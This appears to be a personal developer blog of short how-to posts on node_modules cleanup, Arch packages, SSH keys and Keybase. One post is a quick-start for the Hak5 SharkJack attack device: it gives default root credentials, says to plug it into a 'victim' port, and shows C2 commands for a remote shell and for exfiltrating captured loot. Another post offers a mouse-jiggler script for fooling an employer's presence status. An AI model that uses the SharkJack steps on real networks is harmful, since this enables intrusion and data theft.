[HOW-TO] Remove all node_modules folders ๐Ÿ—‘๏ธ

Node Modules killing your hard drive space? Manually finding and removing is a pain, so here are some simple solutions

Option #1 - Natively

From your desired entry point, all you need to do, is run:

$ find . -name 'node_modules' -type d -prune -print -exec rm -rf '{}' \;

โš ๏ธ This will delete all nested node_modules directories, and their contents โš ๏ธ

If you'd first like to list of all node_modules within your current directory, you can run:

$ find . -name "node_modules" -type d -prune -print | xargs du -chs

This'll output the path, and total size of each occurrence of node_modules, and finish of by showing to cumulative total size


Option #1 - NPKill

NPKill is a simple, yet effective package that finds and removes all node_modules folders within your system.

After installing (with npm i -g npkill), just run npkill to start the CLI. From there you will be able to see all node_modules directories, along with their size and other meta data. You can then choose to delete them one-by-one, or all instances within certain parameters.

Note for Windows users

The above options are for Unix systems (Linux/ MacOS), if you need to do this natively, try the following commands, (thanks to Sahil Malik).

View which folders will be deleted:

FOR /d /r . %d in (node_modules) DO @IF EXIST "%d" echo %d"

Initiate the Extermination:

FOR /d /r . %d in (node_modules) DO @IF EXIST "%d" rm -rf "%d"

keep-mouse-movin.sh ๐Ÿ–ฑ๏ธ

Working remotley? Sick and tired of having to get out of bed every 20 minutes to move your mouse, to prevent Slack/ Skype/ Teams from showing your status as Away? Well with a couple lines of bash, you can have your mouse pointer periodically move, ensureing your status will always remain Active. Your boss will be none the wiser

# LENGTH is the amount of px the mouse will move
# 0 = not moving at all, 1 = tiny movement, 100 = giant movement
LENGTH=50

# DELAY is the time period between movements, in seconds
DELAY=5

while true
  do
    for ANGLE in 0 90 180 270
      do
        xdotool mousemove_relative --polar $ANGLE $LENGTH
          sleep $DELAY
      done
    done

The pointer will move around its current position on the screen (i.e where you last placed it). However, if you prefer it to move around the centre of the screen, just change mousemove_relative to mousemove in the xdotool command.

[HOW-TO] Compile & Install Software on Arch ๐Ÿ—๏ธ

Quick reference of the common commands, to install packages on Arch Linux

Option #1 - Pacman

If the app is availible through AUR, then you can simply use the pacman package manager

## Install
$ sudo pacman -S {package-name(s)}

## Get Details
$ pacman -Qi {package-name}

## Remove
$ sudo pacman -R {package-name}

Option #2 - Manually

Using the makepkg script to build the package from source

## 1. Get the code (E.g. from AUR, GitHub)
$ wget https://aur.archlinux.org/packages/{package-name}.tar.gz
$ tar -xvzf  {package-name}.tar.gz
$ cd {package-name}

## 2. Compile the package
$ makepkg -s

## 3. Install the app
$ sudo pacman -U *xz

Option #2 - from .deb

If only a .deb file is availible, you can convert it using debtap

## 1. Get debtap (first time), and optionally create an alias
$ git clone https://github.com/helixarch/debtap
$ alias debtap='. .path/to/debtap'

## 1. Download the .deb package you wish to install, e.g.
$ git clone {url-to-package.git}
$ cd {package-name}


## 3. Convert .deb to Arch package
$ debtap packagetoconvert.deb

## 4. Install the converted package to system
$ debtap -U *

key-mirror.ts

A quick function to construct an enumeration which has keys the same as their value

This used to be part of React, but since it's now been removed (See commit: #56f5115), and some older packages throw an error without it, I've updated it, and uploading in case anyone else needs it while working with older React packages. A copy of React's original, JavaScript version can be found here.

React Grid System โš›๏ธ


/*
 * This is a little grid system I built, for React projects.
 * It is based on the css-grid prroperties, and it's cool because

[HOW-TO] Use SSH for Server Authentication ๐Ÿ”“

Option #1 - Manual Configuration

Generating a new SSH Key Pair

  1. Run ssh-keygen -t rsa -b 4096
  2. When prompted, enter a passphrase
  3. SSH keys should be stored in ~/.ssh/

Importing Public Key to Remote Machine

  1. SSH into remote server, with username + password
  2. cd into your /home directory, and mkdir .ssh
  3. Copy public key from local to remote machine scp ~/.ssh/my_key.pub user@0.0.0.0:/home/username/.ssh/my_key.pub
  4. Append SSH public key to authorized hosts file cat ~/.ssh/my_key.pub >> ~/.ssh/authorized_keys
  5. Set permissions to .ssh directory (read, write, execute) and files (read, write) chmod 700 ~/.ssh/ && chmod 600 ~/.ssh/*

Disable Password Authentication

  1. Make a backup of the sshdconfig file, before modifying it `sudo cp /etc/ssh/sshdconfig.backup`
  2. Turn off password authentication
    • sudo vim /etc/ssh/sshd_config
    • Find #PasswordAuthentication yes and replace with PasswordAuthentication no
    • Save and exit
  3. Restart SSH service sudo service ssh restart

Option #2 - SSH Copy ID Command

After generating an SSH key pair, simple run ssh-copy-id user@0.0.0.0
This adds your public key to the .ssh/authorized_keys file on the remote server

[HOW-TO] Operate the SharkJack ๐Ÿฆˆ

A Quick-Start Guide for the Hak5 SharkJack, a portable network attack tool

Access the SharkJack

  1. Switch to Arming Mode (center), and connect to PC via Ethernet
  2. Find the IP: Default is 172.16.24.1, run ifconfig to check
  3. Login: ssh root@172.16.24.1, using password hak5shark
  4. On first setup, change the default password, run passwd

Navigating the SharkJack

  • The active payload is located at: ~/payload/payload.sh
  • Captured loot is stored with the ~/loot/... directory
  • To save all loot locally, run: scp -r root@172.16.24.1:/root/loot/* .
  • To upload a new payload, run scp payload.sh root@172.16.24.1:/root/payload/

Conducting an Attack

  1. Flip into Attack Mode (fully forward), and wait for LED to go magenta
  2. Plug device into victim Ethernet port, watch LED's blink
  3. Once LED turns off, unplug device and switch to off

Out-of-the box, the ShakJack comes with an nmap payload, useful for initial network reconnaissance

Additional Tools

CLI Helper Tool

The SharkJack Helper a CLI tool for carrying out common tasks:
Get a shell, push a payload, grab saved loot and upgrade the firmware etc

  1. Download from: https://downloads.hak5.org/shark
  2. Make executable: chmod +x sharkjack.sh
  3. Run ./sharkjack.sh, and follow on-screen prompts

Web Interface

Once the firmware has been updated (V1.01 and newer), you can access the SharkJack's web interface by visiting 172.16.24.1 in your browser. From here you can view and modify the current payload, download your loot and view device status

Cloud C2

  1. Download and run Cloud C2 for your system, from https://shop.hak5.org/products/c2
  2. Go to Add Device --> SharkJack. Then select the listing --> Setup, and config file will download
  3. The device.config needs to be uploaded to /etc. Run scp device.config root@172.16.24.1:/ete/
  4. To connect, run CTCONNECT. Back on the web interface, your now able to open a shell, for remote access!
  5. To get the loot, run C2EFIL STRING /root/loot/nmap/nmap-scan_1.txt nmap, data now will show up in Loot tab!

Note that it the SharkJack does not connect to CloudC2 automatically, but by using the CTCONNECT and C2EFIL .. commands to your payload, you'll be able to exfiltrate the loot immediately, and access it remotely.

My worry about the future of Keybase ๐Ÿ˜Ÿ

When I heard that Zoom had acquired Keybase last week, my initial reaction was that it was a prank.

A bit of background

Keybase is a cryptography-based platform, where you control your private keys and use them to encrypt files, messages and more. It's mostly used by techy people and the privacy-conscious. Personally, I've been a big fan, and user of keybase for the past 4 years.
And Zoom, it seemed to come from nowhere when lockdown started, suddenly it was super popular: it has allowed us to stay in touch with our friends and family, for free and with excellent video quality. But it seems that nearly everyday recently, there's been another critical security issue with Zoom, they don't come across as a company that values the privacy of their users.

My Worries about the future of Keybase

This is an extract from the acquisition article posted on Keybase:

"Initially, our single top priority is helping to make Zoom even more secure. There are no specific plans for the Keybase app yet. Ultimately Keybase's future is in Zoom's hands, and we'll see where that takes us. Of course, if anything changes about Keybaseโ€™s availability, our users will get plenty of notice."

This is what worries me about the above quote:

  • "๐˜–๐˜ถ๐˜ณ ๐˜ด๐˜ช๐˜ฏ๐˜จ๐˜ญ๐˜ฆ ๐˜ต๐˜ฐ๐˜ฑ ๐˜ฑ๐˜ณ๐˜ช๐˜ฐ๐˜ณ๐˜ช๐˜ต๐˜บ ๐˜ช๐˜ด ๐˜ฉ๐˜ฆ๐˜ญ๐˜ฑ๐˜ช๐˜ฏ๐˜จ ๐˜ต๐˜ฐ ๐˜ฎ๐˜ข๐˜ฌ๐˜ฆ ๐˜ก๐˜ฐ๐˜ฐ๐˜ฎ ๐˜ฆ๐˜ท๐˜ฆ๐˜ฏ ๐˜ฎ๐˜ฐ๐˜ณ๐˜ฆ ๐˜ด๐˜ฆ๐˜ค๐˜ถ๐˜ณ๐˜ฆ" - Implies, that the KeyBase team will now be working on the Zoom platform, and not Keybase.
  • "๐˜Œ๐˜ท๐˜ฆ๐˜ฏ ๐˜ฎ๐˜ฐ๐˜ณ๐˜ฆ ๐˜ด๐˜ฆ๐˜ค๐˜ถ๐˜ณ๐˜ฆ" - HA! They are pretending Zoom is secure

And from the Zoom blog post:

  • "๐˜ž๐˜ฆ ๐˜ข๐˜ณ๐˜ฆ ๐˜ฆ๐˜น๐˜ค๐˜ช๐˜ต๐˜ฆ๐˜ฅ ๐˜ต๐˜ฐ ๐˜ช๐˜ฏ๐˜ต๐˜ฆ๐˜จ๐˜ณ๐˜ข๐˜ต๐˜ฆ ๐˜’๐˜ฆ๐˜บ๐˜ฃ๐˜ข๐˜ด๐˜ฆโ€™๐˜ด ๐˜ต๐˜ฆ๐˜ข๐˜ฎ ๐˜ช๐˜ฏ๐˜ต๐˜ฐ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ก๐˜ฐ๐˜ฐ๐˜ฎ ๐˜ง๐˜ข๐˜ฎ๐˜ช๐˜ญ๐˜บ" - Yup, they bought Keybase just to use their engineers
  • "๐˜›๐˜ฉ๐˜ช๐˜ด ๐˜ข๐˜ค๐˜ฒ๐˜ถ๐˜ช๐˜ด๐˜ช๐˜ต๐˜ช๐˜ฐ๐˜ฏ ๐˜ฎ๐˜ข๐˜ณ๐˜ฌ๐˜ด ๐˜ข ๐˜ฌ๐˜ฆ๐˜บ ๐˜ด๐˜ต๐˜ฆ๐˜ฑ ๐˜ง๐˜ฐ๐˜ณ ๐˜ก๐˜ฐ๐˜ฐ๐˜ฎ ๐˜ข๐˜ด ๐˜ธ๐˜ฆ ๐˜ข๐˜ต๐˜ต๐˜ฆ๐˜ฎ๐˜ฑ๐˜ต ๐˜ต๐˜ฐ ๐˜ข๐˜ค๐˜ค๐˜ฐ๐˜ฎ๐˜ฑ๐˜ญ๐˜ช๐˜ด๐˜ฉ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ค๐˜ณ๐˜ฆ๐˜ข๐˜ต๐˜ช๐˜ฐ๐˜ฏ ๐˜ฐ๐˜ง ๐˜ข ๐˜ต๐˜ณ๐˜ถ๐˜ญ๐˜บ ๐˜ฑ๐˜ณ๐˜ช๐˜ท๐˜ข๐˜ต๐˜ฆ ๐˜ท๐˜ช๐˜ฅ๐˜ฆ๐˜ฐ ๐˜ค๐˜ฐ๐˜ฎ๐˜ฎ๐˜ถ๐˜ฏ๐˜ช๐˜ค๐˜ข๐˜ต๐˜ช๐˜ฐ๐˜ฏ๐˜ด ๐˜ฑ๐˜ญ๐˜ข๐˜ต๐˜ง๐˜ฐ๐˜ณ๐˜ฎ" - I don't think they have any intention of creating a "truly private" platform. And the word "attempt" doesn't exactly instill confidence in me

I know all this is just legal speak, and they have to word it in this way to cover themselves, but too me this is worrying. I'd come to love Keybase over the years, the team behind it are very talented, and have done an amazing job. It's going to be sad to say goodbye, but for now I'm going to enjoy it while I can :)

Hello World ๐Ÿ‘‹

This is my blog. It has a bunch of random notes. The stuff here is mostly pointless, some of it's cool- but most of it pointless. Kind of like the rest of what I do with my life.

I keep the posts and information up-to-date.
